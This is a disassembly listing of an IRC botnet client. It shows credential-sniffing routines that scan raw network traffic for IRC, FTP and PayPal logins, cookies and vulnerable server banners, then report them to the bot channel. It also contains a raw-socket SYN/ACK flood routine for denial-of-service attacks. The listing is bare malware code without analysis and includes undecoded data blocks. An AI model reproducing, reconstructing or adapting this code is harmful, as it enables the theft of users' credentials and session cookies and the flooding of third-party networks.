		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
		dd 0FEFD4C85h, 505756FFh, 0FFFC75FFh, 4CB66C15h, 0FFF88300h
		dd 0FC840Fh, 0BD800000h, 0FFFEFD55h, 8BC67506h,	0FEFD5885h
		dd 6DBD80FFh, 18FFFEFDh, 75F44589h, 74858DB4h, 68FFFEFDh
		dd 435E84h, 96EAE850h, 85590000h, 9D7559C0h, 0FD74858Dh
		dd 7468FFFEh, 5000435Eh, 96D3E8h, 0C0855900h, 8B867559h
		dd 85FF33C3h, 7A840FC0h, 89FFFFFFh, 8D50085Dh, 0FEFD7485h
		dd 0B1E850FFh, 59000096h, 7559C085h, 4583470Fh,	458B1808h
		dd 0E9E37508h, 0FFFFFF55h, 0FD74858Dh, 0FF50FFFEh, 0FEFD60B5h
		dd 8415FFFFh, 0F004CB5h, 0FF50C0B7h, 15FFF475h,	4CB6E0h
		dd 7F048D50h, 0BCC5048Bh, 0FF004355h, 55988534h, 858D0043h
		dd 0FFFFFD4Ch, 435E4068h, 2006800h, 0E8500000h,	96D4h
		dd 391CC483h, 2075D875h, 4C858D56h, 0FFFFFFFDh,	8D50D475h
		dd 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF77A2E8h, 14C483FFh
		dd 0FD4C858Dh, 0E850FFFFh, 2ECDh, 0FED3E959h, 15FFFFFFh
		dd 4CB5E8h, 5E146850h, 858D0043h, 0FFFFFD4Ch, 20068h, 7DE85000h
		dd 83000096h, 753910C4h, 20755BD8h, 4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF774AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 2E75h, 0FC75FF59h
		dd 0B6EC15FFh, 75FF004Ch, 90C9E8D0h, 5659FFFFh,	0DCAEE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_412352	proc near		; CODE XREF: sub_412661+213p
					; sub_412661+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE3C0, eax
		mov	eax, offset dword_4CE3C0
		retn
sub_412352	endp


; =============== S U B	R O U T	I N E =======================================



sub_412361	proc near		; CODE XREF: sub_412661+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237B


loc_412377:				; CODE XREF: sub_412361+29j
					; sub_412361+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237B:				; CODE XREF: sub_412361+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412377
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C3


loc_4123BF:				; CODE XREF: sub_412361+71j
					; sub_412361+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412361+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412361	endp


; =============== S U B	R O U T	I N E =======================================



sub_412478	proc near		; CODE XREF: sub_412661+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412492


loc_41248E:				; CODE XREF: sub_412478+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412492:				; CODE XREF: sub_412478+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248E
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B8


loc_4124B4:				; CODE XREF: sub_412478+4Fj
					; sub_412478+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B8:				; CODE XREF: sub_412478+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412478	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124EE	proc near		; CODE XREF: sub_412661+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412508


loc_412504:				; CODE XREF: sub_4124EE+29j
					; sub_4124EE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412508:				; CODE XREF: sub_4124EE+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412504
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253F


loc_41253B:				; CODE XREF: sub_4124EE+60j
					; sub_4124EE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253F:				; CODE XREF: sub_4124EE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253B
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_412575	proc near		; CODE XREF: sub_412661+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258F


loc_41258B:				; CODE XREF: sub_412575+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258F:				; CODE XREF: sub_412575+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B5


loc_4125B1:				; CODE XREF: sub_412575+4Fj
					; sub_412575+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B5:				; CODE XREF: sub_412575+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412575	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FC	proc near		; CODE XREF: sub_412661:loc_412A26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412616


loc_412612:				; CODE XREF: sub_4125FC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412616:				; CODE XREF: sub_4125FC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412612
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263C


loc_412638:				; CODE XREF: sub_4125FC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263C:				; CODE XREF: sub_4125FC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412638
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412661	proc near		; DATA XREF: sub_401ACD+427Do

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB668
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CB6D8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412707
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412707:				; CODE XREF: sub_412661+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277D
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_4361C0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412759
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_412759:				; CODE XREF: sub_412661+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_41277D:				; CODE XREF: sub_412661+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB600
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412803
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436190
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DF
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h


loc_4127DF:				; CODE XREF: sub_412661+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC
		push	[ebp+var_34]
		call	sub_40B413
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_412803:				; CODE XREF: sub_412661+13Cj
		mov	esi, 200h


loc_412808:				; CODE XREF: sub_412661+1D6j
					; sub_412661+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB66C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412808
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412808
		cmp	[ebp+arg_0], 19h
		jz	short loc_412808
		cmp	edi, 6Eh
		jz	short loc_412808
		cmp	edi, 19h
		jz	short loc_412808
		push	[ebp+var_113AC]
		call	sub_412352
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412352
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412906


loc_4128D2:				; CODE XREF: sub_412661+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E9
		mov	byte ptr [eax],	20h


loc_4128E9:				; CODE XREF: sub_412661+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F1
		mov	byte ptr [eax],	20h


loc_4128F1:				; CODE XREF: sub_412661+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D2


loc_412906:				; CODE XREF: sub_412661+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B9
		cmp	edi, 50h
		jz	loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412361
		test	al, al
		pop	ecx
		jz	short loc_41294D
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43615C
		jmp	loc_4129E8
; ---------------------------------------------------------------------------


loc_41294D:				; CODE XREF: sub_412661+2C7j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412478
		test	al, al
		pop	ecx
		jz	short loc_412983
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436128
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_412983:				; CODE XREF: sub_412661+300j
		cmp	edi, 50h
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124EE
		test	al, al
		pop	ecx
		jz	short loc_4129B9
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4360F4
		jmp	short loc_4129E8
; ---------------------------------------------------------------------------


loc_4129B9:				; CODE XREF: sub_412661+2A9j
					; sub_412661+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412575
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A26
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4360BC


loc_4129E8:				; CODE XREF: sub_412661+2E7j
					; sub_412661+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412808
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_412808
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: sub_412661+36Ej
		call	sub_4125FC
		test	al, al
		pop	ecx
		jz	loc_412808
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436084
		jmp	short loc_4129E8
sub_412661	endp

; ---------------------------------------------------------------------------
dword_412A54	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: sub_401ACD+6543o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 0E8000000h
		dd 226DDBAh, 51E85090h,	8D00008Eh, 0FFFE7485h, 858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 398h, 5014C483h, 0FB6C858Dh,	0EC68FFFFh, 50004361h
		dd 8DC9E8h, 83F63300h, 75390CC4h, 562075F8h, 0FB6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFEF4h, 6CB5FF50h,	0E8FFFFFDh
		dd 0FFFF6F8Fh, 8D14C483h, 0FFFB6C85h, 0BAE850FFh, 0FF000026h
		dd 0FFFD70B5h, 8915E8FFh, 5959FFFFh, 0D4FAE856h, 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B09	proc near		; CODE XREF: ___:00412E80p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_412B49
		xor	eax, eax
		jmp	loc_412E3C
; ---------------------------------------------------------------------------


loc_412B49:				; CODE XREF: sub_412B09+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E34
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E2A
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB654
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB654
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB654
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB650
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C19
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C19:				; CODE XREF: sub_412B09+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C35
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6D
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412B09+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6D
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6D:				; CODE XREF: sub_412B09+10Ej
					; sub_412B09+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB654
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2760B3Ah
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 276090Dh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBB:				; CODE XREF: sub_412B09+2E2j
					; sub_412B09+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 276090Dh
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E27
		jl	loc_412CBB
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E27
		jmp	loc_412CBB
; ---------------------------------------------------------------------------


loc_412DFE:				; CODE XREF: sub_412B09+2CBj
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436214
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_412E2A
; ---------------------------------------------------------------------------


loc_412E27:				; CODE XREF: sub_412B09+2E0j
					; sub_412B09+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E2A:				; CODE XREF: sub_412B09+78j
					; sub_412B09+31Cj
		push	[ebp+var_20]
		call	dword_4CB6EC
		pop	esi


loc_412E34:				; CODE XREF: sub_412B09+5Bj
